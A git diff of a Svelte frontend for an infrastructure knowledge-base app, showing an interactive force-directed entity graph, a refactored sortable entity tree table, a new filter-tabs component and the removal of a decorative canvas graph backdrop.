|
||||
.force('x', forceX(width / 2).strength(0.04))
|
||||
.force('y', forceY(height / 2).strength(0.04))
|
||||
.velocityDecay(0.32)
|
||||
.alphaDecay(0.035)
|
||||
.on('tick', () => {
|
||||
nodes = [...nodes]
|
||||
})
|
||||
}
|
||||
|
||||
onMount(() => {
|
||||
load()
|
||||
const unsubscribe = subscribeEvents()
|
||||
return () => {
|
||||
unsubscribe()
|
||||
sim?.stop()
|
||||
}
|
||||
})
|
||||
|
||||
onDestroy(() => sim?.stop())
|
||||
|
||||
$effect(() => {
|
||||
const ev = $liveEvents[0]
|
||||
if (!ev) return
|
||||
if (ev.type.startsWith('entity.') || ev.type.startsWith('relationship.') || ev.type === 'health.changed') {
|
||||
load()
|
||||
}
|
||||
})
|
||||
|
||||
// Toolbar-driven reload/reset — mirrors the old onchange={load} behavior:
|
||||
// typing freely doesn't refetch, only a committed change (Enter/blur in the
|
||||
// parent's inputs, or the Reset button) bumps the token.
|
||||
let lastReloadToken = $state(0)
|
||||
$effect(() => {
|
||||
if (reloadToken !== lastReloadToken) {
|
||||
lastReloadToken = reloadToken
|
||||
load()
|
||||
}
|
||||
})
|
||||
|
||||
let lastResetToken = $state(0)
|
||||
$effect(() => {
|
||||
if (resetToken !== lastResetToken) {
|
||||
lastResetToken = resetToken
|
||||
view = { x: 0, y: 0, k: 1 }
|
||||
load()
|
||||
}
|
||||
})
|
||||
|
||||
function selectNode(node: Node) {
|
||||
onSelect(node.slug)
|
||||
}
|
||||
|
||||
function rerootTo(node: Node) {
|
||||
root = node.slug
|
||||
load()
|
||||
}
|
||||
|
||||
function nodeColor(node: Node): string {
|
||||
const h = graph?.health?.[node.id]
|
||||
return h ? healthColor[h] : '#58a6ff'
|
||||
}
|
||||
|
||||
function nodeRadius(node: Node): number {
|
||||
return 5 + Math.min(Math.sqrt(node.degree) * 1.6, 7)
|
||||
}
|
||||
|
||||
const allRelTypes = $derived(Array.from(new Set(links.map((l) => l.type))).sort())
|
||||
|
||||
// Publish status/legend info up to the parent toolbar.
|
||||
$effect(() => {
|
||||
info = {
|
||||
allRelTypes,
|
||||
relColors: relColorByType,
|
||||
visibleCount: visibleNodeIds.size,
|
||||
truncated: !!graph?.truncated,
|
||||
zoomPct: Math.round(view.k * 100)
|
||||
}
|
||||
})
|
||||
|
||||
const matchedIds = $derived.by(() => {
|
||||
if (!search.trim()) return null
|
||||
const q = search.trim().toLowerCase()
|
||||
return new Set(nodes.filter((n) => n.slug.toLowerCase().includes(q) || n.name.toLowerCase().includes(q)).map((n) => n.id))
|
||||
})
|
||||
|
||||
// Focus = the shared type multiselect (activeNodeTypes) says this type is
|
||||
// visible — same control the entity table filters its rows by.
|
||||
const focusNodeIds = $derived(new Set(nodes.filter((n) => activeNodeTypes.has(n.type)).map((n) => n.id)))
|
||||
|
||||
// Real infra relationships mostly cross type lines (a service sits on a
|
||||
// network, uses storage, runs on an lxc). Hard-hiding any edge whose
|
||||
// other end isn't in the active type set left focus nodes looking like
|
||||
// disconnected dots. Rooted views (the user is exploring out from one
|
||||
// entity) pull in 1-hop neighbors of any type, dimmed, so the edges — and
|
||||
// what they connect to — stay visible. Unscoped "browse everything" views
|
||||
// (no root) skip this: with dozens of focus nodes that touch nearly
|
||||
// everything, 1-hop expansion floods in most of the graph (measured: 417
|
||||
// of 479 total entities for an unrooted Fleet-typed view) — worse than
|
||||
// the isolated-dot problem it was meant to fix. There, same-type-only
|
||||
// edges stay.
|
||||
const neighborNodeIds = $derived.by(() => {
|
||||
const neighbors = new Set<string>()
|
||||
if (!root.trim()) return neighbors
|
||||
for (const l of links) {
|
||||
if (!activeRelTypes.has(l.type)) continue
|
||||
const s = endpointId(l.source)
|
||||
const t = endpointId(l.target)
|
||||
if (focusNodeIds.has(s) && !focusNodeIds.has(t)) neighbors.add(t)
|
||||
else if (focusNodeIds.has(t) && !focusNodeIds.has(s)) neighbors.add(s)
|
||||
}
|
||||
return neighbors
|
||||
})
|
||||
|
||||
const visibleNodeIds = $derived(new Set([...focusNodeIds, ...neighborNodeIds]))
|
||||
|
||||
const selectedId = $derived(nodes.find((n) => n.slug === selectedSlug)?.id ?? null)
|
||||
|
||||
const adjacency = $derived.by(() => {
|
||||
const adj = new Map<string, Set<string>>()
|
||||
for (const l of links) {
|
||||
const s = endpointId(l.source)
|
||||
const t = endpointId(l.target)
|
||||
if (!adj.has(s)) adj.set(s, new Set())
|
||||
if (!adj.has(t)) adj.set(t, new Set())
|
||||
adj.get(s)!.add(t)
|
||||
adj.get(t)!.add(s)
|
||||
}
|
||||
return adj
|
||||
})
|
||||
|
||||
const focusIds = $derived.by(() => {
|
||||
const focus = hoveredId ?? selectedId
|
||||
if (!focus) return null
|
||||
const set = new Set<string>([focus])
|
||||
for (const n of adjacency.get(focus) ?? []) set.add(n)
|
||||
return set
|
||||
})
|
||||
|
||||
function nodeOpacity(node: Node): number {
|
||||
const base = focusNodeIds.has(node.id) ? 1 : 0.4
|
||||
if (matchedIds !== null) return matchedIds.has(node.id) ? base : 0.1
|
||||
if (focusIds !== null) return focusIds.has(node.id) ? 1 : Math.min(base, 0.15)
|
||||
return base
|
||||
}
|
||||
|
||||
function linkVisualState(link: Link): { opacity: number; emphasized: boolean } {
|
||||
const s = endpointId(link.source)
|
||||
const t = endpointId(link.target)
|
||||
const focus = hoveredId ?? selectedId
|
||||
if (focus && (s === focus || t === focus)) return { opacity: 0.95, emphasized: true }
|
||||
if (focusIds !== null || matchedIds !== null) return { opacity: 0.08, emphasized: false }
|
||||
return { opacity: 0.45, emphasized: false }
|
||||
}
|
||||
|
||||
// ─── pan / zoom / drag ───────────────────────────────────────────────
|
||||
|
||||
function toViewBox(clientX: number, clientY: number): { x: number; y: number } {
|
||||
const rect = svgEl!.getBoundingClientRect()
|
||||
return {
|
||||
x: ((clientX - rect.left) / rect.width) * width,
|
||||
y: ((clientY - rect.top) / rect.height) * height
|
||||
}
|
||||
}
|
||||
|
||||
function toWorld(clientX: number, clientY: number): { x: number; y: number } {
|
||||
const p = toViewBox(clientX, clientY)
|
||||
return { x: (p.x - view.x) / view.k, y: (p.y - view.y) / view.k }
|
||||
}
|
||||
|
||||
function onWheel(e: WheelEvent) {
|
||||
e.preventDefault()
|
||||
const factor = e.deltaY < 0 ? 1.18 : 1 / 1.18
|
||||
const k = Math.min(6, Math.max(0.25, view.k * factor))
|
||||
const p = toViewBox(e.clientX, e.clientY)
|
||||
const wx = (p.x - view.x) / view.k
|
||||
const wy = (p.y - view.y) / view.k
|
||||
view = { k, x: p.x - wx * k, y: p.y - wy * k }
|
||||
}
|
||||
|
||||
let panState = $state<{ startX: number; startY: number; viewX: number; viewY: number; moved: boolean } | null>(null)
|
||||
let dragState: { node: Node; moved: boolean } | null = null
|
||||
|
||||
function onBackgroundPointerDown(e: PointerEvent) {
|
||||
if (dragState) return
|
||||
;(e.currentTarget as Element).setPointerCapture(e.pointerId)
|
||||
const p = toViewBox(e.clientX, e.clientY)
|
||||
panState = { startX: p.x, startY: p.y, viewX: view.x, viewY: view.y, moved: false }
|
||||
}
|
||||
|
||||
function onNodePointerDown(e: PointerEvent, node: Node) {
|
||||
e.stopPropagation()
|
||||
;(e.currentTarget as Element).setPointerCapture(e.pointerId)
|
||||
dragState = { node, moved: false }
|
||||
sim?.alphaTarget(0.25).restart()
|
||||
}
|
||||
|
||||
function onPointerMove(e: PointerEvent) {
|
||||
if (dragState) {
|
||||
const w = toWorld(e.clientX, e.clientY)
|
||||
dragState.node.fx = w.x
|
||||
dragState.node.fy = w.y
|
||||
dragState.moved = true
|
||||
return
|
||||
}
|
||||
if (panState) {
|
||||
const p = toViewBox(e.clientX, e.clientY)
|
||||
const dx = p.x - panState.startX
|
||||
const dy = p.y - panState.startY
|
||||
if (Math.abs(dx) > 2 || Math.abs(dy) > 2) panState.moved = true
|
||||
view = { ...view, x: panState.viewX + dx, y: panState.viewY + dy }
|
||||
}
|
||||
}
|
||||
|
||||
function onPointerUp(e: PointerEvent) {
|
||||
if (dragState) {
|
||||
const { node, moved } = dragState
|
||||
node.fx = null
|
||||
node.fy = null
|
||||
sim?.alphaTarget(0)
|
||||
dragState = null
|
||||
if (!moved) selectNode(node)
|
||||
return
|
||||
}
|
||||
if (panState && !panState.moved) {
|
||||
// Plain click on empty background (not a drag-pan) — clear selection.
|
||||
onSelect(null)
|
||||
}
|
||||
panState = null
|
||||
}
|
||||
</script>
|
||||
|
||||
{#if loading && !nodes.length}
|
||||
<Skeleton class="h-full min-h-0" />
|
||||
{:else}
|
||||
<div class="relative h-full min-h-0 overflow-hidden rounded-lg border">
|
||||
<svg
|
||||
bind:this={svgEl}
|
||||
viewBox="0 0 {width} {height}"
|
||||
preserveAspectRatio="xMidYMid slice"
|
||||
class="h-full w-full touch-none {panState ? 'cursor-grabbing' : 'cursor-grab'}"
|
||||
role="application"
|
||||
aria-label="Entity graph"
|
||||
onwheel={onWheel}
|
||||
onpointerdown={onBackgroundPointerDown}
|
||||
onpointermove={onPointerMove}
|
||||
onpointerup={onPointerUp}
|
||||
onpointercancel={onPointerUp}
|
||||
>
|
||||
<defs>
|
||||
<pattern id={dotGridId} width="12" height="12" patternUnits="userSpaceOnUse">
|
||||
<circle cx="2" cy="2" r="0.8" fill="var(--border)" opacity="0.75" />
|
||||
</pattern>
|
||||
{#each allRelTypes as type}
|
||||
<marker id={markerId(type)} viewBox="0 -4 8 8" refX="8" refY="0" markerWidth="7" markerHeight="7" orient="auto">
|
||||
<path d="M0,-3.5L8,0L0,3.5" fill={relColor(type)} />
|
||||
</marker>
|
||||
{/each}
|
||||
</defs>
|
||||
<rect x="0" y="0" width={width} height={height} fill="url(#{dotGridId})" />
|
||||
<g transform="translate({view.x},{view.y}) scale({view.k})">
|
||||
<g>
|
||||
{#each links as link}
|
||||
{@const s = endpoint(link.source)}
|
||||
{@const t = endpoint(link.target)}
|
||||
{#if s?.x != null && t?.x != null && s?.y != null && t?.y != null && activeRelTypes.has(link.type) && visibleNodeIds.has(s.id) && visibleNodeIds.has(t.id)}
|
||||
{@const vs = linkVisualState(link)}
|
||||
{@const dx = t.x - s.x}
|
||||
{@const dy = t.y - s.y}
|
||||
{@const len = Math.max(Math.hypot(dx, dy), 1)}
|
||||
{@const curve = Math.min(len * 0.15, 40)}
|
||||
{@const cx = (s.x + t.x) / 2 - (dy / len) * curve}
|
||||
{@const cy = (s.y + t.y) / 2 + (dx / len) * curve}
|
||||
{@const cdx = t.x - cx}
|
||||
{@const cdy = t.y - cy}
|
||||
{@const clen = Math.max(Math.hypot(cdx, cdy), 1)}
|
||||
{@const tr = nodeRadius(t) + 3}
|
||||
{@const ex = t.x - (cdx / clen) * tr}
|
||||
{@const ey = t.y - (cdy / clen) * tr}
|
||||
{@const mx = 0.25 * s.x + 0.5 * cx + 0.25 * ex}
|
||||
{@const my = 0.25 * s.y + 0.5 * cy + 0.25 * ey}
|
||||
<path
|
||||
d="M {s.x},{s.y} Q {cx},{cy} {ex},{ey}"
|
||||
fill="none"
|
||||
stroke={relColor(link.type)}
|
||||
stroke-width={vs.emphasized ? 2 : 1.2}
|
||||
opacity={vs.opacity}
|
||||
marker-end="url(#{markerId(link.type)})"
|
||||
>
|
||||
<title>{link.type}</title>
|
||||
</path>
|
||||
{#if vs.emphasized && view.k >= 0.7}
|
||||
<text
|
||||
x={mx}
|
||||
y={my - 4}
|
||||
text-anchor="middle"
|
||||
font-size={10 / view.k}
|
||||
fill={relColor(link.type)}
|
||||
opacity="0.95"
|
||||
paint-order="stroke"
|
||||
stroke="var(--background)"
|
||||
stroke-width={3 / view.k}
|
||||
>
|
||||
{link.type}
|
||||
</text>
|
||||
{/if}
|
||||
{/if}
|
||||
{/each}
|
||||
</g>
|
||||
<g>
|
||||
{#each nodes as node (node.id)}
|
||||
{#if node.x != null && node.y != null && visibleNodeIds.has(node.id)}
|
||||
{@const r = nodeRadius(node)}
|
||||
{@const op = nodeOpacity(node)}
|
||||
{@const isFocus = hoveredId === node.id || selectedId === node.id}
|
||||
{@const isMatch = matchedIds !== null && matchedIds.has(node.id)}
|
||||
<g
|
||||
transform="translate({node.x},{node.y})"
|
||||
opacity={op}
|
||||
class="cursor-pointer"
|
||||
role="button"
|
||||
tabindex="0"
|
||||
onpointerdown={(e) => onNodePointerDown(e, node)}
|
||||
onpointerenter={() => (hoveredId = node.id)}
|
||||
onpointerleave={() => (hoveredId = null)}
|
||||
onkeydown={(e) => e.key === 'Enter' && selectNode(node)}
|
||||
ondblclick={() => rerootTo(node)}
|
||||
>
|
||||
{#if isFocus || isMatch}
|
||||
<circle r={r + 5} fill={nodeColor(node)} opacity="0.25" />
|
||||
{/if}
|
||||
<circle r={r} fill={nodeColor(node)} stroke={isFocus || isMatch ? 'var(--foreground)' : 'var(--background)'} stroke-width={isFocus || isMatch ? 2 : 1.25} />
|
||||
{#if view.k >= 0.8 || isFocus || isMatch || op === 1 && focusIds !== null}
|
||||
<text
|
||||
y={r + 12}
|
||||
text-anchor="middle"
|
||||
font-size={isFocus ? 12 / view.k : 10 / Math.max(view.k, 1)}
|
||||
fill={isFocus ? 'var(--foreground)' : 'var(--muted-foreground)'}
|
||||
paint-order="stroke"
|
||||
stroke="var(--background)"
|
||||
stroke-width={3 / view.k}
|
||||
class="pointer-events-none select-none"
|
||||
>
|
||||
{node.slug}
|
||||
</text>
|
||||
{/if}
|
||||
</g>
|
||||
{/if}
|
||||
{/each}
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
<div class="pointer-events-none absolute bottom-2 left-2 rounded bg-background/80 px-2 py-1 text-[10px] text-muted-foreground">
|
||||
scroll to zoom · drag background to pan · drag nodes · click to inspect · double-click to re-root
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
@@ -1,12 +1,12 @@
|
||||
<script lang="ts">
|
||||
import type { Entity, EntityHealth } from '$lib/api'
|
||||
import { relativeTime } from '$lib/utils'
|
||||
import type { Entity } from '$lib/api'
|
||||
import * as Table from '$lib/components/ui/table'
|
||||
import { Badge } from '$lib/components/ui/badge'
|
||||
import { Skeleton } from '$lib/components/ui/skeleton'
|
||||
import ArrowUpIcon from '@lucide/svelte/icons/arrow-up'
|
||||
import ArrowDownIcon from '@lucide/svelte/icons/arrow-down'
|
||||
import ArrowUpDownIcon from '@lucide/svelte/icons/arrow-up-down'
|
||||
import SortHeader from '$lib/components/data-table/SortHeader.svelte'
|
||||
import EmptyState from '$lib/components/EmptyState.svelte'
|
||||
import HealthDotRenderer from '$lib/components/data-table/renderers/HealthDotRenderer.svelte'
|
||||
import StatusBadgeRenderer from '$lib/components/data-table/renderers/StatusBadgeRenderer.svelte'
|
||||
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
|
||||
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
|
||||
|
||||
@@ -21,15 +21,6 @@
|
||||
loading: boolean
|
||||
selectedSlug?: string | null
|
||||
onSelect: (slug: string) => void
|
||||
// child entity slug -> parent entity slug, derived from the ontology
|
||||
// graph (arbitrary relationship types, not a fixed list — see
|
||||
// KnowledgeBase.svelte). When set, rows nest under their parent —
|
||||
// possibly several levels deep (host -> lxc -> service) — instead of
|
||||
// rendering flat. Since the parent for a given child can come from
|
||||
// whichever relationship happened to be processed last, a cycle across
|
||||
// relationship types isn't structurally impossible; `row` tracks the
|
||||
// ancestor chain and drops a child that would re-enter it, rather than
|
||||
// recursing forever.
|
||||
childToParent?: Map<string, string> | null
|
||||
} = $props()
|
||||
|
||||
@@ -55,11 +46,22 @@
|
||||
}
|
||||
}
|
||||
|
||||
const healthRank: Record<EntityHealth, number> = { down: 0, degraded: 1, stale: 2, unknown: 3, healthy: 4 }
|
||||
function getSortState(key: SortKey) {
|
||||
if (sortKey !== key) return { sorted: false, direction: 'asc' as const }
|
||||
return { sorted: true, direction: sortDir }
|
||||
}
|
||||
|
||||
const healthRank: Record<string, number> = {
|
||||
down: 0,
|
||||
degraded: 1,
|
||||
stale: 2,
|
||||
unknown: 3,
|
||||
healthy: 4
|
||||
}
|
||||
|
||||
function sortValue(entity: Entity, key: SortKey): string | number {
|
||||
if (key === 'health') return entity.health ? healthRank[entity.health] : -1
|
||||
return (entity[key] ?? '').toString().toLowerCase()
|
||||
if (key === 'health') return entity.health ? (healthRank[entity.health] ?? -1) : -1
|
||||
return (entity[key as keyof Entity] ?? '').toString().toLowerCase()
|
||||
}
|
||||
|
||||
const sortedEntities = $derived.by(() => {
|
||||
@@ -74,12 +76,6 @@
|
||||
return sorted
|
||||
})
|
||||
|
||||
// ─── treegrid grouping: nest entities under their parent (per
|
||||
// childToParent — host->lxc via `hosts`, lxc/vm/host->service via
|
||||
// `provides`, chained to whatever depth the relationships form). An entity
|
||||
// whose parent got filtered out of `entities` (e.g. by the type dropdown)
|
||||
// has no parent row to nest under, so it falls back to rendering top-level
|
||||
// rather than disappearing.
|
||||
const childrenByParent = $derived.by(() => {
|
||||
const map = new Map<string, Entity[]>()
|
||||
if (!childToParent) return map
|
||||
@@ -104,27 +100,6 @@
|
||||
childToParent ? sortedEntities.filter((e) => !nestedSlugs.has(e.slug)) : sortedEntities
|
||||
)
|
||||
|
||||
function stateVariant(state?: string | null): 'default' | 'secondary' | 'outline' {
|
||||
if (!state) return 'outline'
|
||||
if (state === 'active' || state === 'healthy') return 'default'
|
||||
return 'secondary'
|
||||
}
|
||||
|
||||
const healthDot: Record<EntityHealth, string> = {
|
||||
healthy: 'bg-success',
|
||||
degraded: 'bg-warning',
|
||||
down: 'bg-destructive',
|
||||
stale: 'bg-warning/50',
|
||||
unknown: 'bg-muted-foreground/40'
|
||||
}
|
||||
|
||||
function healthTitle(entity: Entity): string {
|
||||
if (!entity.health) return 'not monitored'
|
||||
if (entity.health === 'stale') return `stale — last checked ${relativeTime(entity.last_check_at)}`
|
||||
return `${entity.health} — checked ${relativeTime(entity.last_check_at)}`
|
||||
}
|
||||
|
||||
// Widths vary per row so the skeleton reads as text, not a stack of identical bars.
|
||||
const skeletonSlugWidths = ['w-24', 'w-20', 'w-28', 'w-16', 'w-24', 'w-20', 'w-28', 'w-16']
|
||||
const skeletonNameWidths = ['w-32', 'w-40', 'w-24', 'w-36', 'w-28', 'w-40', 'w-24', 'w-32']
|
||||
</script>
|
||||
@@ -160,25 +135,11 @@
|
||||
</Table.Root>
|
||||
</div>
|
||||
{:else}
|
||||
{#snippet sortHead(key: SortKey, label: string)}
|
||||
<Table.Head>
|
||||
<button type="button" class="flex items-center gap-1 hover:text-foreground" onclick={() => sortBy(key)}>
|
||||
{label}
|
||||
{#if sortKey === key}
|
||||
{#if sortDir === 'asc'}
|
||||
<ArrowUpIcon class="size-3" />
|
||||
{:else}
|
||||
<ArrowDownIcon class="size-3" />
|
||||
{/if}
|
||||
{:else}
|
||||
<ArrowUpDownIcon class="size-3 text-muted-foreground/50" />
|
||||
{/if}
|
||||
</button>
|
||||
</Table.Head>
|
||||
{/snippet}
|
||||
{#snippet row(entity: Entity, level: number, ancestors: Set<string>)}
|
||||
{@const ancestorsWithSelf = new Set(ancestors).add(entity.slug)}
|
||||
{@const children = (childrenByParent.get(entity.slug) ?? []).filter((c) => !ancestorsWithSelf.has(c.slug))}
|
||||
{@const children = (childrenByParent.get(entity.slug) ?? []).filter(
|
||||
(c) => !ancestorsWithSelf.has(c.slug)
|
||||
)}
|
||||
<Table.Row
|
||||
class="cursor-pointer {entity.slug === selectedSlug ? 'bg-muted' : ''}"
|
||||
role="row"
|
||||
@@ -186,7 +147,12 @@
|
||||
aria-expanded={children.length > 0 ? !collapsedNodes.has(entity.slug) : undefined}
|
||||
tabindex={0}
|
||||
onclick={() => onSelect(entity.slug)}
|
||||
onkeydown={(e) => { if (e.key === 'Enter' || e.key === ' ') { e.preventDefault(); onSelect(entity.slug) } }}
|
||||
onkeydown={(e) => {
|
||||
if (e.key === 'Enter' || e.key === ' ') {
|
||||
e.preventDefault()
|
||||
onSelect(entity.slug)
|
||||
}
|
||||
}}
|
||||
>
|
||||
<Table.Cell class="font-mono text-xs">
|
||||
<span class="flex items-center gap-1" style="padding-left: {(level - 1) * 1.25}rem">
|
||||
@@ -196,7 +162,9 @@
|
||||
type="button"
|
||||
class="rounded text-muted-foreground hover:text-foreground"
|
||||
onclick={(e) => toggleNode(entity.slug, e)}
|
||||
aria-label={collapsedNodes.has(entity.slug) ? `Expand ${entity.slug}` : `Collapse ${entity.slug}`}
|
||||
aria-label={collapsedNodes.has(entity.slug)
|
||||
? `Expand ${entity.slug}`
|
||||
: `Collapse ${entity.slug}`}
|
||||
>
|
||||
{#if collapsedNodes.has(entity.slug)}
|
||||
<ChevronRightIcon class="size-3.5" />
|
||||
@@ -215,21 +183,10 @@
|
||||
<Table.Cell><Badge variant="outline">{entity.type}</Badge></Table.Cell>
|
||||
<Table.Cell>{entity.name}</Table.Cell>
|
||||
<Table.Cell>
|
||||
{#if entity.state}
|
||||
<Badge variant={stateVariant(entity.state)}>{entity.state}</Badge>
|
||||
{:else}
|
||||
<span class="text-muted-foreground">—</span>
|
||||
{/if}
|
||||
<StatusBadgeRenderer value={entity.state ?? ''} kind="state" />
|
||||
</Table.Cell>
|
||||
<Table.Cell>
|
||||
{#if entity.health}
|
||||
<span class="flex items-center gap-1.5 text-xs" title={healthTitle(entity)}>
|
||||
<span class="size-2 shrink-0 rounded-full {healthDot[entity.health]}"></span>
|
||||
<span class="text-muted-foreground">{relativeTime(entity.last_check_at)}</span>
|
||||
</span>
|
||||
{:else}
|
||||
<span class="text-xs text-muted-foreground">—</span>
|
||||
{/if}
|
||||
<HealthDotRenderer row={entity} value={null} />
|
||||
</Table.Cell>
|
||||
</Table.Row>
|
||||
{#if children.length > 0 && !collapsedNodes.has(entity.slug)}
|
||||
@@ -242,22 +199,58 @@
|
||||
<Table.Root role={childToParent ? 'treegrid' : undefined}>
|
||||
<Table.Header>
|
||||
<Table.Row>
|
||||
{@render sortHead('slug', 'Slug')}
|
||||
{@render sortHead('type', 'Type')}
|
||||
{@render sortHead('name', 'Name')}
|
||||
{@render sortHead('state', 'State')}
|
||||
{@render sortHead('health', 'Health')}
|
||||
{@const ssSlug = getSortState('slug')}
|
||||
<Table.Head>
|
||||
<SortHeader
|
||||
label="Slug"
|
||||
sorted={ssSlug.sorted}
|
||||
direction={ssSlug.direction}
|
||||
onclick={() => sortBy('slug')}
|
||||
/>
|
||||
</Table.Head>
|
||||
{@const ssType = getSortState('type')}
|
||||
<Table.Head>
|
||||
<SortHeader
|
||||
label="Type"
|
||||
sorted={ssType.sorted}
|
||||
direction={ssType.direction}
|
||||
onclick={() => sortBy('type')}
|
||||
/>
|
||||
</Table.Head>
|
||||
{@const ssName = getSortState('name')}
|
||||
<Table.Head>
|
||||
<SortHeader
|
||||
label="Name"
|
||||
sorted={ssName.sorted}
|
||||
direction={ssName.direction}
|
||||
onclick={() => sortBy('name')}
|
||||
/>
|
||||
</Table.Head>
|
||||
{@const ssState = getSortState('state')}
|
||||
<Table.Head>
|
||||
<SortHeader
|
||||
label="State"
|
||||
sorted={ssState.sorted}
|
||||
direction={ssState.direction}
|
||||
onclick={() => sortBy('state')}
|
||||
/>
|
||||
</Table.Head>
|
||||
{@const ssHealth = getSortState('health')}
|
||||
<Table.Head>
|
||||
<SortHeader
|
||||
label="Health"
|
||||
sorted={ssHealth.sorted}
|
||||
direction={ssHealth.direction}
|
||||
onclick={() => sortBy('health')}
|
||||
/>
|
||||
</Table.Head>
|
||||
</Table.Row>
|
||||
</Table.Header>
|
||||
<Table.Body>
|
||||
{#each topLevelEntities as entity (entity.id)}
|
||||
{@render row(entity, 1, new Set())}
|
||||
{:else}
|
||||
<Table.Row>
|
||||
<Table.Cell colspan={5} class="text-center text-muted-foreground"
|
||||
>No entities in this layer match the filter.</Table.Cell
|
||||
>
|
||||
</Table.Row>
|
||||
<EmptyState message="No entities in this layer match the filter." colspan={5} />
|
||||
{/each}
|
||||
</Table.Body>
|
||||
</Table.Root>
|
||||
|
||||
42
web/src/lib/components/FilterTabs.svelte
Normal file
@@ -0,0 +1,42 @@
|
||||
<script lang="ts">
|
||||
import * as Tabs from '$lib/components/ui/tabs'
|
||||
|
||||
let {
|
||||
value = $bindable(''),
|
||||
tabs,
|
||||
class: className,
|
||||
children
|
||||
}: {
|
||||
value?: string
|
||||
tabs: {
|
||||
value: string
|
||||
label: string
|
||||
count?: number
|
||||
variant?: 'destructive' | 'default' | 'secondary' | 'outline'
|
||||
}[]
|
||||
class?: string
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
children?: any
|
||||
} = $props()
|
||||
</script>
|
||||
|
||||
<Tabs.Root
|
||||
bind:value
|
||||
class={['flex flex-1 flex-col overflow-hidden', className].filter(Boolean).join(' ')}
|
||||
>
|
||||
<Tabs.List>
|
||||
{#each tabs as tab}
|
||||
<Tabs.Trigger value={tab.value}>
|
||||
{tab.label}
|
||||
{#if tab.count != null && tab.count > 0}
|
||||
<slot name="badge-{tab.value}">
|
||||
<!-- slot for custom badge rendering -->
|
||||
</slot>
|
||||
{/if}
|
||||
</Tabs.Trigger>
|
||||
{/each}
|
||||
</Tabs.List>
|
||||
{#if children}
|
||||
{@render children()}
|
||||
{/if}
|
||||
</Tabs.Root>
|
||||
1288
web/src/lib/components/FleetMap.svelte
Normal file
@@ -1,266 +0,0 @@
|
||||
<script lang="ts">
|
||||
import { onMount } from 'svelte'
|
||||
import { forceSimulation, forceLink, forceManyBody, forceCenter, forceCollide, type Simulation } from 'd3-force'
|
||||
import { fetchGraph, type Health } from '$lib/api'
|
||||
import { getTheme } from '$lib/stores/theme.svelte'
|
||||
|
||||
// Ambient, non-interactive knowledge-graph backdrop. Purely decorative: the
|
||||
// host places this behind the page with pointer-events:none, so it never
|
||||
// steals clicks. The "alive" feeling comes entirely from the camera (slow
|
||||
// autonomous drift + mouse parallax + per-node depth), NOT from a live force
|
||||
// sim — we warm the layout up once, freeze it, then just pan a static field.
|
||||
|
||||
interface SimNode {
|
||||
id: string
|
||||
slug: string
|
||||
degree: number
|
||||
z: number // depth in [0,1] for parallax
|
||||
x?: number
|
||||
y?: number
|
||||
fx?: number | null
|
||||
fy?: number | null
|
||||
}
|
||||
interface SimLink {
|
||||
source: string | SimNode
|
||||
target: string | SimNode
|
||||
}
|
||||
|
||||
let host = $state<HTMLDivElement | null>(null)
|
||||
let canvas = $state<HTMLCanvasElement | null>(null)
|
||||
|
||||
let nodes: SimNode[] = []
|
||||
let links: SimLink[] = []
|
||||
let health: Record<string, Health> = {}
|
||||
|
||||
// World bounds the layout is centered in; camera pans within.
|
||||
const WORLD = 1400
|
||||
const MAX_NODES = 260
|
||||
|
||||
const healthColor: Record<Health, string> = {
|
||||
healthy: '#3fb950',
|
||||
degraded: '#d29922',
|
||||
down: '#f85149',
|
||||
unknown: '#8b949e'
|
||||
}
|
||||
|
||||
function nodeRadius(n: SimNode): number {
|
||||
return 3 + Math.min(Math.sqrt(n.degree) * 1.4, 7)
|
||||
}
|
||||
|
||||
async function loadGraph() {
|
||||
const graph = await fetchGraph({ depth: 3, includeStatus: true })
|
||||
if (!graph) return
|
||||
health = graph.health ?? {}
|
||||
|
||||
// degree by id, edges reference slugs
|
||||
const idBySlug = new Map(graph.nodes.map((n) => [n.slug, n.id]))
|
||||
const degree = new Map<string, number>()
|
||||
for (const e of graph.edges) {
|
||||
const s = idBySlug.get(e.source) ?? e.source
|
||||
const t = idBySlug.get(e.target) ?? e.target
|
||||
degree.set(s, (degree.get(s) ?? 0) + 1)
|
||||
degree.set(t, (degree.get(t) ?? 0) + 1)
|
||||
}
|
||||
|
||||
let all: SimNode[] = graph.nodes.map((n) => ({
|
||||
id: n.id,
|
||||
slug: n.slug,
|
||||
degree: degree.get(n.id) ?? 0,
|
||||
z: Math.random()
|
||||
}))
|
||||
// Cap to the most-connected nodes so large graphs stay cheap.
|
||||
if (all.length > MAX_NODES) {
|
||||
all = [...all].sort((a, b) => b.degree - a.degree).slice(0, MAX_NODES)
|
||||
}
|
||||
const keep = new Set(all.map((n) => n.id))
|
||||
nodes = all
|
||||
links = graph.edges
|
||||
.map((e) => ({ source: idBySlug.get(e.source) ?? e.source, target: idBySlug.get(e.target) ?? e.target }))
|
||||
.filter((l) => keep.has(l.source as string) && keep.has(l.target as string))
|
||||
|
||||
warmUpLayout()
|
||||
}
|
||||
|
||||
// Run the sim to a settled state without rendering each tick, then freeze.
|
||||
function warmUpLayout() {
|
||||
const sim: Simulation<SimNode, SimLink> = forceSimulation(nodes)
|
||||
.force('link', forceLink<SimNode, SimLink>(links).id((n) => n.id).distance(60).strength(0.5))
|
||||
.force('charge', forceManyBody().strength(-140).distanceMax(360))
|
||||
.force('center', forceCenter(0, 0))
|
||||
.force('collide', forceCollide<SimNode>((n) => nodeRadius(n) + 6))
|
||||
.stop()
|
||||
const ticks = Math.min(400, Math.max(120, nodes.length * 2))
|
||||
for (let i = 0; i < ticks; i++) sim.tick()
|
||||
sim.stop()
|
||||
}
|
||||
|
||||
// ─── camera + render loop ───────────────────────────────────────────────
|
||||
|
||||
let cam = { x: 0, y: 0 } // eased mouse-parallax offset
|
||||
let targetCam = { x: 0, y: 0 }
|
||||
let timer: ReturnType<typeof setTimeout> | 0 = 0
|
||||
let dpr = 1
|
||||
let w = 0
|
||||
let h = 0
|
||||
let dotCanvas: HTMLCanvasElement | null = null
|
||||
let lastDotDark: boolean | null = null
|
||||
|
||||
function drawDots(dark: boolean) {
|
||||
if (!dotCanvas) {
|
||||
dotCanvas = document.createElement('canvas')
|
||||
}
|
||||
dotCanvas.width = Math.round(w * dpr)
|
||||
dotCanvas.height = Math.round(h * dpr)
|
||||
const dctx = dotCanvas.getContext('2d')!
|
||||
